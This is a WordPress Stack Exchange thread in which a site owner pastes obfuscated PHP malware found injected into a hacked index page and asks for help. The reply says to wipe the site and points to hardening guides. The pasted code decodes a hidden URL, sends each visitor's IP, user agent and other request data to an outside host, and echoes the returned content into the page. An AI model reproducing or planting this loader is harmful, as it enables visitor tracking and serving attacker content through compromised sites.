Take the 2-minute tour ×
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything from my website and when I opened my website index page in notepad++.

I saw too much strange codes and when I run my site on locally on wamp my antivirus issues too many warnings and blocks a lot of external going connections. I saw this code on my website index page:

<?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>

tell me why is this code in my page and how it got there, I found this on no other pages also tell me what should I do now and my eset antivirus says this when I load my page in wamp:

Details:

Web page:
http://91.196.216.30/bt.php?ip=127.0.0.1&host=localhost&uri=/web/wordpress/&ua=mozilla/5.0+(windows+nt+6.1)+applewebkit/535.1+(khtml,+like+gecko)+chrome/14.0.835.187+safari/535.1&ref=

Description:
Access to the web page was blocked by ESET NOD32 Antivirus.
The web page is on the list of websites with potentially dangerous content.

www.eset.com
share|improve this question
add comment

closed as off topic by toscho Jun 23 '12 at 7:29

Questions on WordPress Development Stack Exchange are expected to relate to WordPress within the scope defined by the community. Consider editing the question or leaving comments for improvement if you believe the question can be reworded to fit within the scope. Read more about reopening questions here.If this question can be reworded to fit the rules in the help center, please edit the question.

1 Answer

Well your site has been compromised and you have to clean house.

Here are two guides you can start with:

share|improve this answer
    
How to prevent this from happening this in future... –  IMRAN SHAFQAT Oct 21 '11 at 5:18
    
You cannot prevent it once you have been hacked, your whole site/server may be compromised, you have to wipe everything and starts fresh, you can read this guides on how to prevent hacks once you know your site is clean. http://codex.wordpress.org/Hardening_WordPress , http://www.wpsecure.net/basics/ –  Wyck Oct 21 '11 at 5:50
add comment

Not the answer you're looking for? Browse other questions tagged or ask your own question.